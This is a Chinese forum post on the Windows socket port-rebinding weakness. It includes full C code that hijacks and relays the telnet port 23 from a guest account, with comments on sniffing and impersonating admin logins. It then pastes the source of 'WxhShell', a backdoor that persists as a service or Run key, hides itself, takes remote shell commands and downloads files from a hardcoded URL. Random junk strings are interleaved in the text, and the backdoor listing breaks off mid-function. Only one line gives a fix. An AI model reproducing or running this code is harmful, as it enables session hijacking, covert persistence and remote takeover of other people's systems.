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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5IE+M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J,0WQQnb  
q%kj[ZOY$]  
  saddr.sin_family = AF_INET; o|^?IQ7bpf  
5)>ZO)F&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qnk,E-  
7ru9dg1?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZaUcP6[h  
=y-!k)t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9>[.=  
LnI{S{]wDh  
  这意味着什么?意味着可以进行如下的攻击: #SihedWi  
1l|A[ G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ; LF)u2x=  
F<oc Y0=9p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fCt\2);a  
dj y:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %X9:R'~sP  
MNf@HG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &W)+8N,L  
[;IDTo!<>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hDD~,/yVxs  
mcz(,u}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c2\rjK   
&t*8oNwSs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n2y/zP>TC  
Z*vpQBbu  
  #include l`M5'r]l  
  #include d[>N6?JA/  
  #include +zVcOS*-  
  #include    +.gf]|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z7t'6Fy9'  
  int main() ;oY(I7  
  { s7UhC.>'@  
  WORD wVersionRequested; JJ N(M*;  
  DWORD ret; e1 {t0f  
  WSADATA wsaData; we H@S  
  BOOL val; A}#]g>L  
  SOCKADDR_IN saddr; |?fW!y  
  SOCKADDR_IN scaddr; CNpe8M=/3  
  int err; =ve*g&  
  SOCKET s; .^W\OJ`G  
  SOCKET sc; (Xr_ np @  
  int caddsize;  ENYF0wW  
  HANDLE mt; /50g3?X,  
  DWORD tid;   ;5Wx$Yfx  
  wVersionRequested = MAKEWORD( 2, 2 ); _/N'I7g  
  err = WSAStartup( wVersionRequested, &wsaData ); rKy-u  
  if ( err != 0 ) { #E$Z[G]  
  printf("error!WSAStartup failed!\n"); _']%qd"%  
  return -1; 35%[D Ukb  
  } I", &%0ycm  
  saddr.sin_family = AF_INET; [ n0##/  
   _@BRpLs:4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {#w A !>.  
6m-:F.k1(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rt3f7 s*  
  saddr.sin_port = htons(23); kY'<u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |Uy e>%*}4  
  { 0U~;%N+lv  
  printf("error!socket failed!\n"); :!+}XT7)/  
  return -1; u^aFj%}]L  
  } >2|[EZ  
  val = TRUE; ]e@0T{!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XoKO2<3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )D Gz`->  
  { ,N@Yk.  
  printf("error!setsockopt failed!\n"); x!"SD3r=4>  
  return -1; HvqF@/xh  
  } E VN-<=i^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j]!7BHC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tL={y*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '#,e @v  
DD/>{kff  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _4.]A 3;}  
  { Z#OhYm+y  
  ret=GetLastError();  /i-xX*  
  printf("error!bind failed!\n"); `?zg3GD_  
  return -1; o[bE  
  } s FQ4O- SM  
  listen(s,2); M1/M}~  
  while(1) MG7 ?N #  
  { ~|y^\U@  
  caddsize = sizeof(scaddr); }pl]9  
  //接受连接请求 T}L^CU0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @pF fpHq?>  
  if(sc!=INVALID_SOCKET) 5|<yfk8*J  
  { M#\  <  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E[|s>Xv~  
  if(mt==NULL) %]a @A8o0  
  { hzT{3YtY2  
  printf("Thread Creat Failed!\n"); nabBU4;h  
  break; AfbB~LlBq  
  } v"P&` 1=T  
  } mQd4#LJ_  
  CloseHandle(mt); _pz,okO[V  
  } g.B%#bfg  
  closesocket(s); j4~7akG  
  WSACleanup(); m,W) N9 M  
  return 0; >lD;0EN  
  }   (O)\#%,@R  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q0zW ]a  
  { {fGd:2dh  
  SOCKET ss = (SOCKET)lpParam; Usa+b A  
  SOCKET sc; jOUK]>ox:  
  unsigned char buf[4096]; @~m=5C  
  SOCKADDR_IN saddr; <Rcu%&;i  
  long num; [[R7~.;  
  DWORD val; fD1?z"lo  
  DWORD ret; ;y>S7n>n:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o"rq/\ovv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ds%9cp*6  
  saddr.sin_family = AF_INET; ~Cjz29|gp  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nNt*} k  
  saddr.sin_port = htons(23); X+=-f^)&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o&(wg(Rv  
  { 8YuJ8KC  
  printf("error!socket failed!\n"); D(y+1^>  
  return -1;  f~w>v  
  } wP[xmO-%  
  val = 100; j$3rJA%rN  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %KGq*|GUu  
  { si_W:mLF{a  
  ret = GetLastError(); c |>=S)|  
  return -1; Vy-28icZ`  
  } '3A+"k-}mh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R/^@cA  
  { e]lJqC  
  ret = GetLastError(); ' |&>/dyq  
  return -1; ,i?)  
  } #SKfE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "(s6aqO$  
  { K&=D-50%  
  printf("error!socket connect failed!\n"); KAd_zkUA  
  closesocket(sc); +7,8w  
  closesocket(ss); '.?^uM  
  return -1; H2_/,n  
  } 0,HqE='w  
  while(1)  %BUEX  
  { >~_J q|KBB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k`Nyi )AGe  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lC0~c=?J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q"40#RFA  
  num = recv(ss,buf,4096,0); l , ..5   
  if(num>0) qu_)`wB  
  send(sc,buf,num,0); u*2fP]n  
  else if(num==0) ]kx-,M(  
  break; P0^c?s"I  
  num = recv(sc,buf,4096,0); 5sCFzo<=vh  
  if(num>0) ;HDZ+B  
  send(ss,buf,num,0); S}[l*7  
  else if(num==0) 3y99O $EAc  
  break; 2 P=[  
  } &VDl/qnaL  
  closesocket(ss); oL]mjo=jN  
  closesocket(sc); \K;op2  
  return 0 ; L>dkrr)e  
  } 74+A+SK[  
( S`6Q  
B`fH^N  
========================================================== 2 nv[1@M  
5F2_xH$5  
下边附上一个代码,,WXhSHELL *ZaaO^!  
GcT;e5D  
========================================================== @}Zd (o  
Gqb])gXpl  
#include "stdafx.h" H+ lX-,  
J! {Al  
#include <stdio.h> ',7a E@PJ  
#include <string.h> F@Q^?WV  
#include <windows.h> 7h%4]  
#include <winsock2.h> *m9{V8Yi2  
#include <winsvc.h> LN4qYp6)G  
#include <urlmon.h> hoenQ6N^:  
XVt/qb%)r  
#pragma comment (lib, "Ws2_32.lib") .wmnnvtl,  
#pragma comment (lib, "urlmon.lib") wd[eJcQ,  
a d9CsvW  
#define MAX_USER   100 // 最大客户端连接数 ks*Y9D*=  
#define BUF_SOCK   200 // sock buffer q*, Q5  
#define KEY_BUFF   255 // 输入 buffer uRE*%d>  
)P?IqSEA%  
#define REBOOT     0   // 重启 ?7 \\e;j}  
#define SHUTDOWN   1   // 关机 !^e =P%S  
'cV?i&;  
#define DEF_PORT   5000 // 监听端口 _T5)n=|  
SRZL\m}  
#define REG_LEN     16   // 注册表键长度 U3E&n1AA  
#define SVC_LEN     80   // NT服务名长度 w&Y{1rF>  
@Y}uZ'jt'  
// 从dll定义API E V2  )  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @5.e@]>ZM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MPIlSMe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X8i(~ B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5+- I5HX|~  
hN3u@P^  
// wxhshell配置信息 y7: tr  
struct WSCFG { \=;uu_v$  
  int ws_port;         // 监听端口 wG 1l+^p  
  char ws_passstr[REG_LEN]; // 口令 Ts9ktPlm  
  int ws_autoins;       // 安装标记, 1=yes 0=no z x@$RS+]  
  char ws_regname[REG_LEN]; // 注册表键名 DIaYo4  
  char ws_svcname[REG_LEN]; // 服务名 ~>Kq<]3~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d,0 }VaY=D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H6K`\8/SeN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <@G8ni  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KVPR}qTP;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BQ/PGY>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \L # INP4~  
S{#cD1>.  
}; }^-<k0A4?  
8 Ti G3  
// default Wxhshell configuration P:C2G(V1AR  
struct WSCFG wscfg={DEF_PORT, w8Vw1wW  
    "xuhuanlingzhe", bc I']WgB-  
    1, @?kM'*mrZM  
    "Wxhshell", $g10vF3  
    "Wxhshell", Pm+tQ  
            "WxhShell Service", kM/Te{<  
    "Wrsky Windows CmdShell Service", EpYy3^5d  
    "Please Input Your Password: ", 3QXjD/h  
  1, ^e Gue  
  "http://www.wrsky.com/wxhshell.exe", At6qtoPRA  
  "Wxhshell.exe" wW2d\Zd&  
    }; 4/e60jA  
WC,+Cn e  
// 消息定义模块 ?wb+L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _Ov;4nt!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 445o DkG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MFt*&%,JX  
char *msg_ws_ext="\n\rExit."; zR;X*q"T$4  
char *msg_ws_end="\n\rQuit."; ?4 S+edX  
char *msg_ws_boot="\n\rReboot..."; #]]Su91BA  
char *msg_ws_poff="\n\rShutdown..."; LD>\#q8a*  
char *msg_ws_down="\n\rSave to "; *Dmx&F=3,5  
1L nyWZ  
char *msg_ws_err="\n\rErr!"; dRi5hC$  
char *msg_ws_ok="\n\rOK!"; ememce,Np  
_ oFs #kW  
char ExeFile[MAX_PATH]; p\p\q(S">  
int nUser = 0; l?8M p$M  
HANDLE handles[MAX_USER]; "TcW4U9  
int OsIsNt; Ge+0-I6Ju  
FV39QG4b4  
SERVICE_STATUS       serviceStatus; 4|?{VQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k]A8% z  
7.Kc:7  
// 函数声明 #A7jyg":  
int Install(void); Bux [6O %  
int Uninstall(void); Hr<o!e{Y  
int DownloadFile(char *sURL, SOCKET wsh); px;/8c-  
int Boot(int flag); 7nU6k%_%  
void HideProc(void); R\|lt)h  
int GetOsVer(void); SOZPZUUEJ  
int Wxhshell(SOCKET wsl); %dST6$Z  
void TalkWithClient(void *cs); & fC!(Oy  
int CmdShell(SOCKET sock); ao" %WX  
int StartFromService(void); BYrZEVM9  
int StartWxhshell(LPSTR lpCmdLine); :1ecx$  
!y:%0{l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8eBOr9l+j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H)w(q^i  
}x0- V8  
// 数据结构和表定义 ^Xb7[ +I6  
SERVICE_TABLE_ENTRY DispatchTable[] = ;Q;[*B=kE  
{ l_tw<`Ep  
{wscfg.ws_svcname, NTServiceMain}, %V`F!D<D  
{NULL, NULL} ulFzZHJ  
}; wXMDh$  
$~0Q@):  
// 自我安装 '*^yAlgtt  
int Install(void) l_'[27  
{ N==ZtKj F  
  char svExeFile[MAX_PATH]; 7dG 79H  
  HKEY key; *OJ/V O  
  strcpy(svExeFile,ExeFile); -|k)tvAm  
LQ11ba  
// 如果是win9x系统,修改注册表设为自启动 WtulTAfN  
if(!OsIsNt) { l%ayI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $rF=_D6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eN? Y7  
  RegCloseKey(key); LVJI_O{fH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7hW+T7u?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b-U eIjX  
  RegCloseKey(key); =L|tp%!  
  return 0; L4u;|-znw  
    } aNn"X y\ k  
  } >T2LEW  
} E/&Rb*3  
else { @ V08U!  
9Jf)!o8  
// 如果是NT以上系统,安装为系统服务 ~\)qi=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {Gq*e/  
if (schSCManager!=0) <ljI;xE  
{ %CwL:.|  
  SC_HANDLE schService = CreateService 2~[@_  
  ( *[ #;j$m  
  schSCManager, A1)wo^,  
  wscfg.ws_svcname, 8$s9(n-_Y  
  wscfg.ws_svcdisp, tM-^<V&  
  SERVICE_ALL_ACCESS, znJhP}(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XqRJr%JH  
  SERVICE_AUTO_START, G+xt5n.%  
  SERVICE_ERROR_NORMAL, D4eTTfQ  
  svExeFile, .:p2Tbo  
  NULL, /+*#pDx/zW  
  NULL, Z=B_Ty  
  NULL, FGO[ |]7IN  
  NULL, l0&EZN0V2  
  NULL SK1!thQy  
  ); _lzyMEdr  
  if (schService!=0) LMi:%i%\  
  { >Rvx[`|O!m  
  CloseServiceHandle(schService); [ EFMu;q  
  CloseServiceHandle(schSCManager); iovfo2!hD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 09A X-JP  
  strcat(svExeFile,wscfg.ws_svcname); F' U 50usV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |@,|F:h<M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 73{'k K  
  RegCloseKey(key); p4IZ   
  return 0; t }IkK=f  
    } CQel3Jtt.  
  } du$|lxC  
  CloseServiceHandle(schSCManager); mk7&<M  
} O#wpbrJ  
} ,B4VT 96*  
{3})=>u:S  
return 1; *k"|i*{  
} o"wXIHUmV  
M/x>51<  
// 自我卸载 qq)0yyL r  
int Uninstall(void) 3lV^B[$  
{ Pe C7  
  HKEY key; PH"hn]  
Vpy 2\wZWb  
if(!OsIsNt) { DG4 d"Jy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [."[pY  
  RegDeleteValue(key,wscfg.ws_regname); `V)Z)uN{0  
  RegCloseKey(key); t8^m`W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y(cN}44  
  RegDeleteValue(key,wscfg.ws_regname); +&zYZA8v  
  RegCloseKey(key); yc|VJ2R*  
  return 0; 1@u2im-O  
  } ^F?&|clM/  
} 1qV@qz  
} 8Ll[ fJZA  
else { LIg{J%  
,-x!$VqS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =rdY @  
if (schSCManager!=0) 3@5=+z~CW  
{ %m:m}ziLQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zlR?,h-[3  
  if (schService!=0) l5l>d62  
  { I`z@2Z+pJ  
  if(DeleteService(schService)!=0) { eEhr140  
  CloseServiceHandle(schService); \!]Ua.e<  
  CloseServiceHandle(schSCManager); BBcV9CGU  
  return 0; ?"?6,;F(4  
  } Z3[S]jC  
  CloseServiceHandle(schService); Y#!h9F  
  } "[}O"LTQ  
  CloseServiceHandle(schSCManager); V\(:@0"  
} V]*b4nX7  
} fgihy  
FU=w(< R;  
return 1; Ra*e5  
} kB5.(O  
NrP0Ep%V  
// 从指定url下载文件 p ?wI9GY  
int DownloadFile(char *sURL, SOCKET wsh) :4v3\+T  
{ 42>Ge>#F  
  HRESULT hr; Qt]Q: 9I[  
char seps[]= "/"; ]%Zz \Q  
char *token; NEa>\K<\  
char *file; r>bJ%M}  
char myURL[MAX_PATH]; N'xSG`,Mg  
char myFILE[MAX_PATH]; (E]!Z vE  
A(]H{>PMy  
strcpy(myURL,sURL); jqr1V_3(  
  token=strtok(myURL,seps); ]kG(G%r|M  
  while(token!=NULL) s,a}?W  
  { ^5r9 5  
    file=token; DcSnia62f  
  token=strtok(NULL,seps); ?5kHa_^  
  } =2w4C_  
pm{|?R  
GetCurrentDirectory(MAX_PATH,myFILE); eAPXWWAZJ1  
strcat(myFILE, "\\"); Y.^=]-n,  
strcat(myFILE, file); dMR3)CO  
  send(wsh,myFILE,strlen(myFILE),0); lI>SUsQFfm  
send(wsh,"...",3,0); a<]B B$~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g/13~UM\  
  if(hr==S_OK) I(=V}s2  
return 0; QRLt9L  
else 2w)-\/j}  
return 1; > x IJE2  
ja=F7Usb  
} YJ(*wByM  
lsN~*q?~]  
// 系统电源模块 02BuX]_0g  
int Boot(int flag) 'l,V*5L  
{ qC'{;ko  
  HANDLE hToken; .xB u-?6s6  
  TOKEN_PRIVILEGES tkp; NH_<q"gT  
!nAX$i~  
  if(OsIsNt) { ? `J[[",  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~}Rj$%_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H(Eh c  
    tkp.PrivilegeCount = 1; I@\OaUGr+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BC'llD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s`>[F@N7.o  
if(flag==REBOOT) { [5Lz/ix=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9P{;H usNw  
  return 0; ?ve#} \  
} {\[5}nV  
else { G\T fL^A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^] kF{ o?  
  return 0; O#Wh TDF"  
} i*CZV|t US  
  } ?.Pg\ur  
  else { =/\:>+p^.y  
if(flag==REBOOT) { QNDHOo>v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hr$QLtr  
  return 0; "Ky; a?Y  
} <id}<H  
else { 1{P'7IEj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tnLAJ+ -M  
  return 0; F`9]=T0  
} U!Ek'  
} H:"ma S\I  
=N 5z@;!  
return 1; )Pv9_XKJ  
} 2h%z ("3/  
@O[5M2|r  
// win9x进程隐藏模块 N]RZbzK_5G  
void HideProc(void) =Fdg/X1  
{ @Vu(XG  
~H!S,"n^,P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "+unS)M;Y  
  if ( hKernel != NULL ) ;t+ub8  
  { jbR0%X2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E\C9|1)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |.wEm;Bz  
    FreeLibrary(hKernel); VsA'de!V4[  
  } ]n-:Yv5 W  
9Vf1Xz  
return; qpXWi &g  
} (dv]=5""  
Qqlup  
// 获取操作系统版本 ,*7d  
int GetOsVer(void) "9n3VX)  
{ $HJwb-I  
  OSVERSIONINFO winfo; R"K#7{p9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GaSPJt   
  GetVersionEx(&winfo); c*@G_rb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QD%L0;j  
  return 1; 4Fm90O  
  else NB<A>baL*  
  return 0; 2+X\}s1vN  
} *E{2J:`  
\_B[{e7z  
// 客户端句柄模块 %RDI!e<e}  
int Wxhshell(SOCKET wsl) Qca&E`~Q  
{ 7NJhRz`_  
  SOCKET wsh; R+CM`4CD  
  struct sockaddr_in client; O|w J)  
  DWORD myID; KIWe@e  
D::rGB?.b  
  while(nUser<MAX_USER) G\(|N9^:  
{ 8(* [Fe9  
  int nSize=sizeof(client); +!|9hF'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NQ6sGL  
  if(wsh==INVALID_SOCKET) return 1; k-}b{  
8Ac:_Zg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sM9+dh  
if(handles[nUser]==0) ^`G}gWBx}w  
  closesocket(wsh); @9"J|}  
else y:6; LZ9[  
  nUser++; _8E/) M  
  } &%-73nYw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N ,z6y5Lu  
>vA2A1WhW  
  return 0; Jkek-m  
} pxa(  
4]E3c AJ  
// 关闭 socket qT^I?g"!  
void CloseIt(SOCKET wsh) Ng_!zrx04  
{ )Eo)t>  
closesocket(wsh); [1u-Q%?#  
nUser--; 4#l o$#  
ExitThread(0); 9 yfJVg  
} q|),`.eh\  
Q@HopiC  
// 客户端请求句柄 eow'K 821A  
void TalkWithClient(void *cs) )vSRHE  
{ 5D'\b}*lJ}  
v;ZA 4c  
  SOCKET wsh=(SOCKET)cs; wH@Ns~[MA  
  char pwd[SVC_LEN]; :eCU/BC4  
  char cmd[KEY_BUFF]; y~\oTJb  
char chr[1]; Nal9M[]c  
int i,j; jB(|";G  
4H/fP]u  
  while (nUser < MAX_USER) { GI1  
R~6$oeWAw  
if(wscfg.ws_passstr) { ){b@}13cF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HZ:6zH   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g?ULWeZg5  
  //ZeroMemory(pwd,KEY_BUFF); _D+J!f^  
      i=0; X93!bB  
  while(i<SVC_LEN) { r! MWbFw|X  
N}t 2Nu-  
  // 设置超时 \7'+h5a  
  fd_set FdRead; 0ik7v<:  
  struct timeval TimeOut; PAM}*'  
  FD_ZERO(&FdRead); ^RI?ybDd  
  FD_SET(wsh,&FdRead); u`RI;KF~F  
  TimeOut.tv_sec=8; tw9f%p  
  TimeOut.tv_usec=0; l~$+,U&XNe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IqoR7ajA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5wDg'X]>V  
&:`U&06q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (P:<t6;+  
  pwd=chr[0]; #n8IZ3+  
  if(chr[0]==0xd || chr[0]==0xa) { &*aIEa^  
  pwd=0; 6g)G Y"49  
  break; , JQp'e  
  } ]'=)2 .}  
  i++; W}mn}gTQ  
    } >: g3k  
|Ur"& Z{  
  // 如果是非法用户,关闭 socket {fjdr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XY3v_5~/1F  
} ZNvEW  
"9Q40w\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =D<PVGo9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rw0qcM\>|  
0a XPPnuX  
while(1) { ]Yn_}Bq  
SR |`!  
  ZeroMemory(cmd,KEY_BUFF); @/ohg0  
P&^;656r  
      // 自动支持客户端 telnet标准   wLnf@&jQ%  
  j=0; /$p6'1P8  
  while(j<KEY_BUFF) { R1$:~p2m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);   t!_<~  
  cmd[j]=chr[0]; ElW~48  
  if(chr[0]==0xa || chr[0]==0xd) { 1^}[&ar  
  cmd[j]=0; S;286[oq@  
  break; Rx=>6,)'  
  } lUMS;H(  
  j++; fUA uqfj[  
    } 1`qMj0Y_  
IvtJ0  
  // 下载文件 _v> }_S  
  if(strstr(cmd,"http://")) { _ =VqrK7T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vkEiOFU!u  
  if(DownloadFile(cmd,wsh)) sW'2+|3"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Z !)^j  
  else .Z `av n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Tp1n8FV  
  } M:[ %[+6  
  else { I7n"&{s"*  
{ix?Brq/  
    switch(cmd[0]) { 4i(JZN?  
  UKT%13CO4U  
  // 帮助 aGtf z)  
  case '?': { oF1,QQ^dg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D!Pq4'd(  
    break; 0vD7v  
  } S]Mw #O|  
  // 安装 ]rH\`0  
  case 'i': { MS 81sN\d  
    if(Install()) ijK"^4i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < (fRn`)PT  
    else R?"q]af~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SVh 7zh  
    break; Ch|jtVeuyJ  
    } f$Fhf ?'  
  // 卸载 R5 - @  
  case 'r': { jN;@=COi  
    if(Uninstall()) DN-+osPi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q=Sgk>NA  
    else %Q fO8P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e]$}-i@#  
    break; 1Vrh4g.l  
    } {byBc G  
  // 显示 wxhshell 所在路径 g+Sbl  
  case 'p': { <oT^A|JFj  
    char svExeFile[MAX_PATH]; %^4CSh  
    strcpy(svExeFile,"\n\r"); NflD/q/ L  
      strcat(svExeFile,ExeFile); \F/hMXDlJ  
        send(wsh,svExeFile,strlen(svExeFile),0); x7!L{(E3  
    break; %\dz m-d(C  
    } <66X Xh.  
  // 重启 7e|s wJ>4  
  case 'b': { 0zlb0[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g"p%C:NN  
    if(Boot(REBOOT)) 4~Vx3gEV:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =JK@z  
    else { g9}DnCT*.  
    closesocket(wsh); 7XTkX"zKj  
    ExitThread(0); 8hOk{xs8  
    } t(NI-UXBp  
    break; g(qJN<R C/  
    } jHE}qE~>5  
  // 关机 |Mu p8(gCk  
  case 'd': { [B#R94  
